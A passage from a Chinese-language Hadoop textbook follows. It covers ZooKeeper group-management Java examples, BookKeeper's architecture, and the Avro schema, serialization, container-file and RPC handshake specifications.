KeeperException，\nInterruptedException{\n21 CreateGroup cg=new CreateGroup（）；\n22 cg.createZKInstance（）；\n23 cg.createPNode（\"/ZKGroup\"）；\n24 cg.ZKclose（）；\n25}\n26}\n在创建组操作完成之后，我们需要将成员加入到组当中，也就是将节点加入到组节点的目录下，成为其子节点。在创建节点之前，首先需要调用exists（）函数来判断组目录是否存在。此程序中创建了一个MultiJoin（）函数，它通过一个计数器为组节点创建10个子节点。详见代码清单15-11。\n代码清单15-11 JoinGroup\n1 package cn.edu.ruc.cloudcomputing.book.chapter15；\n2\n3 import java.io.IOException；\n4\n5 import org.apache.zookeeper.CreateMode；\n6 import org.apache.zookeeper.KeeperException；\n7 import org.apache.zookeeper.ZooDefs.Ids；\n8\n9 public class JoinGroup extends ZooKeeperInstance{\n10//加入组操作\n11 public int Join（String groupPath, int k）throws KeeperException，\nInterruptedException{\n12 String child=k+\"\"；\n13 child=\"child_\"+child；\n14\n15//创建的路径\n16 String path=groupPath+\"/\"+child；\n17//检查组是否存在\n18 if（zk.exists（groupPath, true）！=null）{\n19//如果存在，加入组\n20 zk.create（path, child.getBytes（），Ids.OPEN_ACL_UNSAFE，\nCreateMode.PERSISTENT）；\n21 return 1；\n22}\n23 else{\n24 System.out.println（\"组不存在！\"）；\n25 return 0；\n26}\n27}\n28\n29//加入组操作\n30 public void MultiJoin（）throws KeeperException, InterruptedException{\n31 for（int i=0；i＜10；i++）{\n32 int k=Join（\"/ZKGroup\"，i）；\n33//如果组不存在则退出\n34 if（0==k）\n35 System.exit（1）；\n36}\n37}\n38 public static void main（String[]args）throws IOException, KeeperException，\nInterruptedException{\n39 JoinGroup jg=new JoinGroup（）；\n40 jg.createZKInstance（）；\n41 jg.MultiJoin（）；\n42 jg.ZKclose（）；\n43}\n44}\n在加入组操作完成之后，我们通过getChildren（）函数来列出所有组的成员（即获取组目录下的所有孩子节点）。详见代码清单15-12：\n代码清单15-12 ListMembers\n1 package cn.edu.ruc.cloudcomputing.book.chapter15；\n2\n3 import java.io.IOException；\n4 import java.util.List；\n5\n6 import org.apache.zookeeper.KeeperException；\n7\n8 public class ListMembers extends ZooKeeperInstance{\n9 public void list（String groupPath）throws KeeperException, InterruptedException{\n10//获取所有子节点\n11 List＜String＞children=zk.getChildren（groupPath, false）；\n12 if（children.isEmpty（））{\n13 System.out.println（\"组\"+groupPath+\"中没有组成员存在！\"）；\n14 System.exit（1）；\n15}\n16 for（String child：children）\n17 System.out.println（child）；\n18}\n19\n20 public static void main（String[]args）throws IOException, KeeperException，\nInterruptedException{\n21 ListMembers lm=new ListMembers（）；\n22 lm.createZKInstance（）；\n23 lm.list（\"/ZKGroup\"）；\n24}\n25}\n在执行删除组操作时，我们首先需要删除组目录下的所有成员，当组目录空时，再将组目录删除。那么，这过程中首先就需要调用getChildren（）函数，获取组目录的所有成员，然后调用delete（）函数将其一一删除。最后删除组目录。详见代码清单15-13。\n代码清单15-13 DelGroup\n1 package cn.edu.ruc.cloudcomputing.book.chapter15；\n2\n3 import java.io.IOException；\n4 import java.util.List；\n5\n6 import org.apache.zookeeper.KeeperException；\n7\n8 public class DelGroup extends ZooKeeperInstance{\n9 p u b l i c v o i d d e l e t e（S t r i n g g r o u p P a t h）t h r o w s K e e p e r E x c e p t i o n，\nInterruptedException{\n10 List＜String＞children=zk.getChildren（groupPath, false）；\n11//如果不空，则进行删除操作\n12 if（！children.isEmpty（））{\n13//删除所有子节点\n14 for（String child：children）\n15 zk.delete（groupPath+\"/\"+child，-1）；\n16}\n17//删除组目录节点\n18 zk.delete（groupPath，-1）；\n19}\n20\n21 public static void main（String args[]）throws IOException, KeeperException，\nInterruptedException{\n22 DelGroup dg=new DelGroup（）；\n23 dg.createZKInstance（）；\n24 dg.delete（\"/ZKGroup\"）；\n25 dg.ZKclose（）；\n26}\n27}\n限于篇幅，本章只介绍了关于Zookeeper的一些基本知识，希望大家通过本章的学习能够对ZooKeeper的机制有一个全面的了解。另外，希望大家能够亲自动手编写Zookeeper程序，这样可以促进对ZooKeeper更深入的了解。\n15.8 BooKeeper\nBooKeeper具有副本的功能，目的是提供可靠的日志记录。在BooKeeper中，服务器被称为账本（Bookies），在账本之中有不同的账户（Ledgers），每一个账户由一条条的记录（Entry）组成。如果使用普通的磁盘存储日志数据，那么日志数据可能遭到破坏，当磁盘发生故障的时候，日志也可能被丢失。BooKeeper为每一份日志提供了分布式的存储，并且采用了大多数（quorum，相对于全体）的概念，也就是说，只要集群中的大多数机器可用，那么该日志一直有效。\nBooKeeper通过客户端进行操作，客户端可以对BooKeeper进行添加账户、打开账户、添加账户记录、读取账户记录等操作。另外，BooKeeper的服务依赖于ZooKeeper，可以说BooKeeper是依赖于ZooKeeper的一致性及分布式的特点在其之上提供了另外一种可靠性服务。如图15-12为BooKeeper的架构。\n从上图中可以看出，BooKeeper中总共包含四类角色，分别为：账本（Bookie）、账户（Ledger）、客户端（BooKeeper Client）以及元数据存储服务（Metadata Storage Service）。下面我们来简单介绍这四类角色的功能。\n账本（Bookie）：账本是BookKeeper的存储服务器，它存储的是一个个的账本，可以将账本理解为一个节点。在一个BookKeeper系统中存在有多个账本（节点），每个账户被不同的账本所存储。若要写一条记录到指定的账户中，该记录将被写到维护该账户的所有账本节点中。为了提高系统的性能，这条记录并不是真正地被写入到所有节点中，而是选择集群的一个大多数集进行存储。该系统独有的特性使得BookKeeper系统有良好的扩展性。即，我们可以通过简单地添加机器节点的方法提高系统的容量。\n图 15-12 BooKeeper架构\n账户（Ledger）：账户中存储的是一系列的记录（Entry），每一条记录包含一定的字段。记录通过写操作一次性写入，只能进行附加操作不能进行修改。每条记录包含如下字段，见表15-6。\n当满足下列两个条件时，某条记录才被认为是存储成功：\n1）之前所记录的数据被账本节点的大多数集所存储；\n2）该记录被账本节点的大多数集所存储。\n客户端（BookKeeper Client）：客户端通常与BookKeeper应用程序进行交互，它允许应用程序在系统上进行操作，包括创建账户，写账户等。\n元数据存储服务（Metadata Storage Service）：元数据信息存储在ZooKeeper集群当中，它存储关于账户和账本的信息，例如，账本由集群中的哪些节点进行维护，账户由哪个账本进行维护等。\n应用程序在使用账本的时候，首先需要创建一个账户。在创建账户时，系统首先将该账本的Metadata信息写入到ZooKeeper中。每一个账户在某一时刻只能有一个写实例。在其它实例进行读操作之前首先需要将写实例关闭。如果写操作由于故障而未能正常关闭，那么下一个尝试打开账户的实例将需要首先对其进行恢复并正确关闭写操作。在进行写操作时同时需要将最后一次的写记录存储到ZooKeeper中，因此恢复程序仅需要在ZooKeeper中查看该账户所对应的最后一条写记录，然后将其正确地点写入到账户中，再正确关闭写操作。在BookKeeper中该恢复程序由系统自动执行，不需要用户的参与。\n15.9 本章小结\nZooKeeper作为Hadoop项目的一个子项目，是Hadoop集群管理中一个必不可少的模块。它主要用来控制集群中的数据，如管理Hadoop集群中的NameNode，以及Hbase中的Master Election、Server之间的状态同步等。除此之外，它还在其他多种场合中发挥着重要的作用。\n本章介绍了ZooKeeper的基本知识，以及ZooKeeper的配置、使用和管理等内容。另外还深入挖掘了ZooKeeper重要功能的实现机制，并介绍了它的某些应用场景。ZooKeeper作为一个用于协调分布式程序的服务，必将在更多的场合发挥越来越重要的作用。\n第16章 Avro详解\n本章内容\nAvro介绍\nAvro的C/C++实现\nAvro的Java实现\nGenAvro（Avro IDL）语言\nAvro SASL概述\n本章小结\n16.1 Avro介绍\nAvro作为Hadoop下相对独立的子项目，是一个数据序列化的系统。类似于其他序列化系统，Avro可以将数据结构或对象转化成便于存储或传输的格式，特别是在设计之初它可以用来支持数据密集型应用，适合于大规模数据的存储和交换。总之，Avro可以提供以下一些特性和功能：\n丰富的数据结构类型；\n快速可压缩的二进制数据形式；\n存储持久数据的文件容器；\n远程过程调用（RPC）；\n简单的动态语言结合功能。\nAvro和动态语言结合后，读写数据文件和使用RPC协议都不需要生成代码了，而代码作为一种可选的优化只需要在静态类型语言中实现。\nAvro依赖于模式（Schema）。Avro数据的读/写操作很频繁，而这些操作都需要使用模式，这样可减少写入每个数据资料的开销，使得序列化快速而又轻巧。这种数据及其模式的自我描述方便了动态脚本语言的使用。\n当Avro数据存储到文件中时，它的模式也随之存储，这样任何程序都可以对文件进行处理。如果读取数据时使用的模式与写入数据时使用的模式不同，那也很容易解决，因为读取和写入的模式都是已知的。图16-1表示的是Avro的主要作用，它将用户定义的模式和具体的数据编码成二进制序列存储在对象容器文件中，假设用户定义了包含学号、姓名、院系和电话的学生模式，那么Avro对其进行编码后存储在student.db文件中，其中存储数据的模式放在文件头的元数据中，这样即使读取的模式与写入的模式不同，也可以迅速地读出数据，如果另一个程序需要获取学生的姓名和电话，只需定义包含姓名和电话的学生模式，然后用此模式去读取容器文件中的数据即可。\n图 16-1 Avro的主要作用\n当在RPC中使用Avro时，服务器和客户端可以在握手连接时交换模式。服务器和客户端有彼此全部的模式，因此含有相同命名字段、缺失字段和多余字段等信息之间通信时，需要处理的一致性问题就可以容易地解决。如图16-2所示，协议中定义了用于传输的消息，消息使用框架后放入缓冲区中进行传输，由于传输的初始就交换了各自的协议定义，即使传输双方使用的协议不同，所传输的数据也能够正确解析，具体过程将在后面介绍。\n图 16-2 RPC使用Avro\nAvro模式是用JSON（一种轻量级的数据交换模式）定义的，这样对于已经拥有JSON库的语言来说就可以容易地实现。\nAvro提供与诸如Thrift和Protocol Buffers等系统相似的功能，但是在一些基础方面还是有区别的，主要表现在以下几个方面：\n动态类型：Avro并不需要与生成代码、模式和数据存放在一起，而整个数据的处理过程并不生成代码、静态数据类型等。这方便了数据处理系统和语言的构造。\n未标记的数据：因为读取数据的时候模式是已知的，所以需要和数据一起编码的类型信息就很少了，这样序列化的规模也就小了。\n不需要用户指定字段号：即使模式发生了改变，但是新旧模式都是已知的，所以处理数据时可以通过使用字段名称来解决差异问题。\n下面详细介绍模式的声明和Avro的具体使用。\n16.1.1 模式声明\n模式声明主要是定义数据的类型，Avro中的模式可以使用JSON通过以下方式表示。\n1）JSON字符串，指定已定义的类型。\n2）JSON对象，其形式为：\n{\"type\"：\"typeName\"……attributes……}\n其中，typeName可以是原生的或衍生的类型名称，本章没有定义的属性可以视为元数据，但是其不能影响序列化数据的格式。\n3）JSON数组，表示嵌入类型的联合。\n声明的类型必须是Avro所支持的数据类型，其中包括原始类型（Primitive Types）和复杂类型（Complex Types），下面分别介绍它们。\n原始类型名称包括以下几部分。\nnull：没有值；\nboolean：二进制值；\nint：32位有符号整数；\nlong：64位有符号整数；\nfloat：单精度（32位）IEEE 754浮点数；\ndouble：双精度（64位）IEEE 754浮点数；\nbytes：8位无符号字节序列；\nstring：unicode字符序列。\n原始类型没有特定的属性，其名称可以通过类型来定义，如模式\"string\"相当于：\n{\"type\"：\"string\"}\nAvro支持六种复杂类型：记录（records）、枚举（enums）、数组（arrays）、映射（maps）、联合（unions）和固定型（fixed），下面一一介绍。\n（1）记录（records）\n记录使用类型名称“record”并且支持以下属性：\nname：提供记录名称的JSON字符串（必须）。\nnamespace：限定名称的JSON字符串。\ndoc：向模式使用者提供说明的JSON字符串（可选）。\naliases：字符串的JSON数组，为记录提供代替名称（可选）。\nfield：一个JSON数组，用来列出字段（必须）。每个字段就是一个JSON对象且拥有以下属性。\n·name：提供记录名称的JSON字符串（必须）。\n·doc：为使用者提供字段说明的JSON字符串（可选）。\n·type：定义模式的JSON对象，或者记录定义的JSON字符串（必须）。\n·default：该字段的默认值用于读取缺少该字段的实例（可选）。如表16-1所示，允许的值依赖于字段的模式类型。联合字段的默认值对应于联合中的第一个模式。字节和固定字段的默认值是JSON字符，这里0～255的Unicode映射到0～255的8位无符号字节。\n·order：指定该字段如何影响记录的排序（可选）。有效的值有“ascending”（默认）、“descending”或“ignore”。\n·aliases：字符串的JSON数组，为该字段提供可选的名称（可选）。\n例如，一个64位的链表可以定义为：\n{\n\"type\"：\"record\"，\n\"name\"：\"LongList\"，\n\"aliases\"：[\"LinkedLongs\"]，//别名\n\"fields\"：[\n{\"name\"：\"value\"，\"type\"：\"long\"}，//每个元素都含有长整型\n{\"name\"：\"next\"，\"type\"：[\"LongList\"，\"null\"]}\n//下一元素\n]\n}\n（2）枚举（enums）\n枚举使用类型名称“enum”并且支持以下几种类型。\nname：提供实例名称的JSON字符串（必须）。\nnamespace：限定名称的JSON字符串。\naliases：字符串的JSON数组，为枚举提供替代名称（可选）。\ndoc：对模式使用者提供说明的JSON字符串（可选）。\nsymbols：列出标记的JSON数组（必须）。枚举中的所有标记必须是唯一的，不允许有重复的标记。\n例如，纸牌游戏可以定义为：\n{\"type\"：\"enum\"，\n\"name\"：\"Suit\"，\n\"symbols\"：[\"SPADES\"，\"HEARTS\"，\"DIAMONDS\"，\"CLUBS\"]\n}\n（3）数组（arrays）\n数组使用类型名称“array”并且支持一个属性。\nitems：数组项目的模式。\n例如，字符串数组可以定义为：\n{\"type\"：\"array\"，\"items\"：\"string\"}\n（4）映射（maps）\n映射使用类型名称“map”并且支持一个属性。\nvalues：映射值的模式。\n映射值默认为字符串，例如，从字符串到长整型的映射可以声明为：\n{\"type\"：\"map\"，\"values\"：\"long\"}\n（5）联合（unions）\n联合主要使用JSON数组表示，例如可以用[\"string\"，\"null\"]声明一个是字符串或者null的模式。除了指定的记录、固定型（fixed）和枚举外，对于相同的类型，联合只能包含一个模式。例如，联合中不允许包含两个数组类型或两个映射类型，但是允许包含不同名称的两种类型。联合中不能直接包含其他的联合。\n（6）固定型（fixed）\n固定型使用类型名称“fixed”并且支持以下属性。\nname：固定型名称的字符串（必须）。\nnamespace：限定名称的字符串。\naliases：提供替代名称的字符串的JSON数组（可选）。\nsize：说明每个值的字节数的整型（可选）。\n例如，16字节大小的固定型可以声明为：\n{\"type\"：\"fixed\"，\"size\"：16，\"name\"：\"md5\"}\n记录、枚举和固定型都是指定的类型，其全名由两部分组成：名称和命名空间。全名为由点分开的名字序列，其名称部分和记录字段名字必须：\n以字母A～Z或a～z或_开头；\n后面应只含有A～Z、a～z、0～9或_。\n在记录、枚举和固定型的定义中，全名可以通过以下几种方式定义。\n指定名称和命名空间。如使用名称\"name\"：\"X\"和命名空间\"namespace\"：\"org.foo\"来表示全名org.foo.X。\n指定全名。如果指定的名称中包含点，则可以使用名称作为全名，并且任何指定的命名空间都将被忽略。如使用名称\"name\"：\"org.foo.X\"来表示全名org.foo.X。\n只指定名称，且名称中不包含点。这种情况下命名空间取自外层的模式或协议，比如指定名称\"name\"：\"X\"，其所在记录定义的字段则为org.foo.Y，即全名为org.foo.X。\n总结以上后两种情况可得：如果名称包含点，则是全名；如果不包含点，则命名空间默认为外层定义的命名空间。原始类型没有命名空间并且它们的名称也不能定义为任何命名空间。\n命名的类型和字段可以拥有别名。为方便模式的发展和处理不同的数据集，在实现中可以选择使用别名将作者的模式（writer’s schema）映射成读者的模式（reader’s schema）。使用别名可以改变作者的模式，例如，如果作者的模式命名为\"Foo\"，而读者的模式命名为\"bar\"且别名为\"Foo\"，那么在读取时即使\"Foo\"称作\"Bar\"也能实现。同理，如果数据曾经写成字段名为\"x\"的记录，那么即使是字段名为'\"y\"别名为\"x\"的记录也能读取，尽管\"x\"写成了\"y\"。\n 16.1.2 数据序列化\n模式声明后就可以根据模式写入数据了。当数据存储或传输时需要对其序列化，需要注意的是，Avro数据和其模式会一起被序列化。基于Avro的RPC系统必须保证远程的数据接收器拥有写入数据的模式副本，因为读取数据时写入数据的模式是知道的，所以Avro数据本身不需要标记类型信息。\n通常，序列化和还原序列化过程（见图16-1）可以看成是对模式深度优先、从左到右的遍历过程，并在遍历过程中序列化或还原序列化遇到的原始类型。\nAvro指定两种序列化编码：二进制和JSON。在这两种序列化编码中，因为二进制编码速度快且生成的数据量小，所以大多数的应用程序使用二进制编码。但是基于调试和网络的应用程序有时使用JSON编码比较合适。下面先介绍各种类型的二进制编码。\n原始类型的二进制编码有如下几种。\nnull编码成零字节。\nboolean编码成单字节，值为0（false）或1（true）。\nint和long使用可变长度的ZigZag编码\n[1]\n ，如表16-2所示。\nfloat占4字节，使用类似于Java中floatToIntBits的方法可以将浮点数转化成32位的整型，然后编码成低字节序的格式。\ndouble占8字节，使用类似于Java中doubleToLongBits的方法可以将双精度数转化\n为64位的整型，然后编码成低字节序的格式。\nbytes根据数据的字节编码成长整型。\nstring根据UTF-8字符集编码成长整型。\n如果UTF-8字符集中'f'、'o'、'o'的十六进制分别为66 6f 6f，并且字符串\"foo\"含有三（编码成十六进制06）个字符，那么\"foo\"编码为06 66 6f 6f。\n复杂类型的二进制编码方法有如下几种。\n（1）记录（records）\n通过对声明的每个字段值按顺序编码来对记录进行编码。换句话说，记录的编码由每个字段的编码串联而成。例如，记录模式的代码如下：\n{\n\"type\"：\"record\"，\n\"name\"：\"test\"，\n\"fields\"：[\n{\"name\"：\"a\"，\"type\"：\"long\"}，\n{\"name\"：\"b\"，\"type\"：\"string\"}\n]\n}\n以上代码中，假设a字段的值为27（十六进制为36），b字段的值为\"foo\"（十六进制为06 66 6f 6f），那么记录的编码仅仅是这些编码的串联，即十六进制序列36 06 66 6f 6f。\n（2）枚举（enums）\n枚举按整型编码，其中整型代表每个标志在模式中的位置（从0开始）。例如，枚举模式的代码如下：\n{\"type\"：\"enum\"，\"name\"：\"Foo\"，\"symbols\"：[\"A\"，\"B\"，\"C\"，\"D\"]}\n上面的例子序列化时将被编码成整型0～3，其中0代表\"A\"，3代表\"D\"。\n（3）数组（arrays）\n数组编码成一系列块，每个块包含一个长整型的数值，长整形的数值组成为数组项，其中最后一块为0，表示是数组的结尾，每个数组项的模式都会编码。如果块中的值为负数，则取绝对值，紧跟数值后面的块的大小为长整型，表示块中的字节数。如果只映射记录部分字段，则利用块大小可以跳过部分数据。例如，数组模式为：\n{\"type\"：\"array\"，\"items\"：\"long\"}\n对于包含项3和27的数组，其数组包含两个长整型值，其中数组个数“2”使用ZigZag编码成十六进制为04，而3和27编码成十六进制分别为06和36，最后以0结尾，其数组编码成：04 06 36 00。\n这种块表示方法允许读/写大小超过内存缓冲的数组，因为在不知道数组长度的情况下就可以开始写入。\n（4）映射（maps）\n映射的编码和数组相似，也是编码成一系列块，每个块包含一个长整型值，然后是键值对，值为0的块表示映射的结尾。如果块的值为负数，则取其绝对值。紧跟数值后面的块的大小为长整型，表示块中的字节数。如果只映射记录的部分字段，则利用块大小可以跳过部分数据。\n同数组一样，在不知道映射长度的情况下就可以写入，因此这种块的表示方法也允许读/写大小超过内存缓冲的映射。\n（5）联合（unions）\n联合编码时先写入一个长整型值表示联合中每个模式值的位置（从0开始），再对联合中的值编码。例如，联合模式[\"string\"，\"null\"]应如此编码：null为整数1（联合中null的索引，使用ZigZag编码成十六进制02）；字符串\"a\"为整数0（联合中\"string\"的索引）；随后为序列化的字符串61，所以最后这个联合编码应为00 02 61。\n（6）固定型（fixed）\n固定型实例编码可使用模式中声明的字节数。对于编码成JSON类型，除了联合之外，还可以参照表16-1中JSON类型与Avro类型的对应关系进行编码。联合的JSON编码如下所示：\n如果值为null，那么按照JSON null来编码；\n否则，按照带有名称/值的JSON对象进行编码，其中名称为类型名称，值为递归编码值。对于Avro的命名类型（记录、固定性和枚举）将使用用户指定的名称，对于其他类型将使用类型名。\n例如，对于联合模式[\"null\"，\"string\"，\"Foo\"]，其中Foo是记录名称，应如此编码：null作为null编码；\n字符串\"a\"按照{\"string\"：\"a\"}编码；\nFoo实例按照{\"Foo\"：{……}}编码，这里{……}表示一个Foo实例的JSON编码。\n需要注意的是，正确处理JSON编码数据仍需要模式，因为JSON编码并不区分int和long、float和double、记录（records）和映射（maps）、枚举（enums）和字符串（strings）等。\n[1]\n ZigZag编码原使用于Protocol Buffers，是一种将有符号数映射成无符号数的一种编码方式。\n16.1.3 数据排列顺序\n对象化前最常使用的操作就是排序，在Avro确定了数据标准排列顺序后，就允许系统写入的数据可以被另外的系统高效地排序了，这是个很重要的优化。即使Avro二进制数据还没有反序列化成对象，也可以对其进行高效排序。\n要对拥有相同模式的数据项进行比较，可以采用对模式的深度优先、从左到右递归成对的方式。遇到不能匹配的项即按原来顺序，比如boolean类型的数据和int类型的数据不能匹配，那就不用进行排序。具体来说，相同模式的两个项进行比较时须遵从下面的规则。\nnull数据总是相等的。\nboolean类型中false排在true的前面。\nint、long、float和double数据按照数值升序排列。\nbytes和fixed数据根据8位无符号值按照字典序进行比较。\nstring数据根据Unicode按字典序进行比较，要注意的是，对字符串而言，既然UTF-8作为二进制编码使用，那么按字节排序和按字符串二进制数据排序是相同的。array数据根据元素按字典序进行比较。\nenum数据根据枚举模式中符号的位置进行排序。例如，枚举的符号位[\"z\"，\"a\"]把\"z\"排在\"a\"前面。\nunion数据先按照联合的分支进行排序，然后按照分支的类型排序。例如，联合[\"int\"，\"string\"]中，所有整型将排在所有字符型值前，而整型和字符型各自按照上面的规则排序。\nrecord数据根据字段按字典序排序。如果字段指定其顺序为：\n·\"ascending\"，其值排序的顺序不变；\n·\"descending\"，其值排序的顺序反转；\n·\"ignore\"，排序时其值将忽略。\nmap数据不进行比较。试图比较包含映射的数据是非法的，除非映射是“有序”的，否则“忽略”记录字段。\n16.1.4 对象容器文件\n序列化后的数据需要存入文件中。Avro包含一个简单的对象容器文件，一个文件拥有一个模式，文件中所有存储的对象必须根据模式使用二进制编码写入。对象存储在可以压缩的块中，块之间使用同步机制为MapReduce处理提供高效的文件分离。文件中可能包含用户随意指定的元数据。那么一个文件包含：\n文件头。\n一个或多个文件数据块。\n其中文件头包含：\n4个字节，分别是ASCII码的o、b、j、1。\n包含模式的文件元数据。\n为此文件随机生成的16字节同步器。\n文件的元数据包含：\n指示元数据的一个键/值对的长整型。\n每个对的字符串键和字节值。\n所有以\"Avro\"开头的元数据属性是保留的，以下文件元属性主要用于：\navro. schema，包含存储在文件中对象的模式，如JSON数据（必须）。\navro. codec，编解码器名称，其编码器用来压缩诸如字符串的数据块。需要实现支持\"null\"和\"deflate\"编解码器，如果没有编解码器，那假设为\"null\"。\n\"null\"编解码器不需要对数据解压缩，而\"deflate\"编解码器使用文档RFC1951中指定的deflate算法写入数据块并使用zlib库实现，要注意的是这个格式（不像RFC1950中的zlib格式）没有校验和。\n一个文件头需要按照如下模式进行描述：\n{\"type\"：\"record\"，\"name\"：\"org.apache.avro.file.Header\"，\n\"fields\"：[\n{\"name\"：\"magic\"，\"type\"：{\"type\"：\"fixed\"，\"name\"：\"Magic\"，\"size\"：4}}，\n{\"name\"：\"meta\"，\"type\"：{\"type\"：\"map\"，\"values\"：\"bytes\"}}，\n{\"name\"：\"sync\"，\"type\"：{\"type\"：\"fixed\"，\"name\"：\"Sync\"，\"size\"：16}}，\n]\n}\n文件数据块包括：\n一个长整型，用于指示块中对象数目。\n一个长整型，用于表示使用编解码器后，所在块中序列化对象的字节大小。\n序列化对象，如果编解码器是指定的，则用它进行压缩。\n16字节的文件同步器。\n这样，即使不用反序列化，每个块的二进制数据也可以高效获得或跳过。这种块的大小、对象数目和同步器的结合可以检测出坏的块并且帮助保持数据的完整性。\n图16-3表示了对象容器文件的具体格式。\n图 16-3 对象容器文件的具体格式\n16.1.5 协议声明\n当Avro用于RPC时，Avro使用协议描述远程过程调用RPC接口。和模式一样，它们是用JSON文本来定义的。协议是带有以下属性的JSON对象：\nprotocol，协议名称的字符串（必须）。\nnamespace，限定名称的可选字符串。\ndoc，描述协议的可选字符串。\ntypes，指定类型（记录、枚举、固定型和错误）定义的可选列表。错误的定义和记录一样，只不过错误使用\"error\"而记录使用\"record\"，要注意不允许对指定类型的向前引用。\nmessages，一个可选的JSON对象，其键是消息名称，值是对象，任意两个消息不能拥有相同的名称。\n模式中定义的名称和命名空间规则也同样适用于协议。下面介绍的协议消息可以拥有以下属性：\ndoc，消息的可选描述。\nrequest，指定的类型化的参数模式列表（这和记录声明中的字段有相同的形式）。\nresponse，响应模式。\nerror union，所声明的错误模式的联合（可选）。有效的联合会在声明的联合前面加上\"string\"，允许传递未声明的“系统”错误。例如，如果声明的错误联合是[\"AccessError\"]，那么有效的联合是[\"string\"，\"AcessError\"]。如果没有错误声明，那么有效的错误联合是[\"string\"]。使用有效联合错误可以序列化，且协议的JSON声明只能包含声明过的联合。\none-way，布尔参数（可选）。\n处理请求参数列表相当于处理没有名称的记录。既然读取的记录字段列表和写入的记录字段列表可以不同，那么调用者和响应者的请求参数也可以不同，这种区别的解决方法与记录字段间差异的解决方式相同。只有当回应的类型是“null”并且没有错误列出的时候，one-way参数才为真。\n下面来举一个简单的HelloWorld协议的例子，它可以定义为：\n{\n\"namespace\"：\"com.acme\"，//名称的限定\n\"protocol\"：\"HelloWorld\"，//协议名称\n\"doc\"：\"Protocol Greetings\"，//协议的说明\n\"types\"：[\n{\"name\"：\"Greeting\"，\"type\"：\"record\"，\"fields\"：[\n{\"name\"：\"message\"，\"type\"：\"string\"}]}，\n{\"name\"：\"Curse\"，\"type\"：\"error\"，\"fields\"：[\n{\"name\"：\"message\"，\"type\"：\"string\"}]}]，\n\"messages\"：{//消息\n\"hello\"：{\n\"doc\"：\"Say hello.\"，\n\"request\"：[{\"name\"：\"greeting\"，\"type\"：\"Greeting\"}]，\n\"response\"：\"Greeting\"，\n\"errors\"：[\"Curse\"]\n}\n}\n}\n16.1.6 协议传输格式\n消息可以通过不同的传输机制进行传输，而传输中的消息则是一些字节序列，那么传输机制需要支持：\n请求信息的传送。\n对应响应信息的接收。\n服务器会对客户机的请求信息发送响应信息，这种响应机制就是特定传输，例如在HTTP中，由于HTTP直接支持请求和响应，所以这种传输是透明的，但是利用同一套接字传输多种不同客户线程的时候需要用特定的标识来区分不同客户的信息。\n传输可能是无状态的也可能是有状态的。在无状态传输中，是假定消息发送没有建立连接状态。而有状态传输则建立了连接，这个连接可以用来传输不同的消息。下面我们会在握手（handshake）部分中深入分析。\n当用HTTP协议进行传输时，每个Avro消息交换都是一对HTTP请求/响应。一个Avro协议的所有消息共享一个HTTP服务器上的URL，正常的和错误的Avro消息都应该使用200（OK）响应代码。尽管Avro请求和响应是HTTP请求和响应的整个内容，但也可能使用大量的编码。HTTP请求和响应的内容类型应该指定为“avro/binary”而且请求应该使用POST方法生成。Avro使用HTTP作为无状态传输。\nAvro消息经过框架处理后由一系列缓冲区组成，消息框架是消息和传输之间的一层，用来优化某些操作。经过框架处理后的消息数据格式如下（见图16-4）。\n图 16-4 消息的封装\n1）由一系列缓冲区组成，其中缓冲区包括：\n4个字节，用大端字节（big-endian）方法\n[1]\n 表示的缓冲区长度。\n缓冲区数据。\n2）最后以空字节（zero-length）的缓冲区结束。\n对于请求和响应消息格式，框架是透明的，任何消息可以表示为一个或多个缓冲。框架使得消息接收者更高效地从不同的渠道获取不同的缓冲，也使得开发者更高效地向不同的目的地存储不同的缓冲。特别是当复制大量二进制对象时，它可以减少读/写的次数。例如，如果RPC参数中包含一个MB大小的文件数据，那么一方面，数据可以从文件描述符直接复制到套接字上，另一方面，数据可以直接写入文件描述符而不需要进入用户空间。\n一个简单且值得推荐的框架策略是：相对于那些大于正常输出缓冲区的单个二进制对象建立新的段。小的对象可以附加在缓冲区中，而较大的对象可以写入自己的缓冲区中。当读者需要读取大的对象时，可以直接处理整个缓冲区而不用复制。\n使用握手的目的是确保客户机和服务器有对方的协议定义，这样客户机可以正确地对响应反序列化，且服务器可以正确地对请求反序列化。客户机和服务器都应在高速缓冲区中保留最近的协议，这样在大多数情况下，可以不需要额外的往返网络交换或重新获取全部传输协议就能完成握手。\n在完成握手过程后执行RPC请求和响应，对于无状态的传输，在所有请求和响应之前都要进行握手，而对于有状态的传输，在成功响应之前，握手过程应该附加在请求和响应上，之后就不需要握手了。\n握手过程使用以下记录模式，代码如下：\n{\n\"type\"：\"record\"，\n\"name\"：\"HandshakeRequest\"，\"namespace\"：\"org.apache.avro.ipc\"，\n\"fields\"：[\n{\"name\"：\"clientHash\"，\n\"type\"：{\"type\"：\"fixed\"，\"name\"：\"MD5\"，\"size\"：16}}，\n{\"name\"：\"clientProtocol\"，\"type\"：[\"null\"，\"string\"]}，\n{\"name\"：\"serverHash\"，\"type\"：\"MD5\"}，\n{\"name\"：\"meta\"，\"type\"：[\"null\"，{\"type\"：\"map\"，\"values\"：\"bytes\"}]}\n]\n}\n{\n\"type\"：\"record\"，\n\"name\"：\"HandshakeResponse\"，\"namespace\"：\"org.apache.avro.ipc\"，\n\"fields\"：[\n{\"name\"：\"match\"，\n\"type\"：{\"type\"：\"enum\"，\"name\"：\"HandshakeMatch\"，\n\"symbols\"：[\"BOTH\"，\"CLIENT\"，\"NONE\"]}}，\n{\"name\"：\"serverProtocol\"，\n\"type\"：[\"null\"，\"string\"]}，\n{\"name\"：\"serverHash\"，\n\"type\"：[\"null\"，{\"type\"：\"fixed\"，\"name\"：\"MD5\"，\"size\"：16}]}，\n{\"name\"：\"meta\"，\"type\"：[\"null\"，{\"type\"：\"map\"，\"values\"：\"bytes\"}]}\n]\n}\n客户机在每个请求前面加上HandshakeRequest，表示包含客户机和服务器协议（clientHash！=null, clientProtocol=null, serverHash！=null）的哈希值，这里哈希值是JSON协议内容的128位MD5哈希值。如果客户机没有连接到给定的服务器，那么它发送的哈希值就是对服务器哈希值的猜测，否则它会发送之前从服务器中获得的哈希值。服务器响应的HandshakeResponse包含以下内容之一。\n1）match=BOTH, serverProtocol=null, serverHash=null。如果客户机发送的是服务器协议的有效哈希值，并且服务器知道响应客户机哈希值的协议，那么请求是完整的，并且响应数据加在HandshakeResponse后面。\n2）match=CLIENT, serverProtocol！=null, 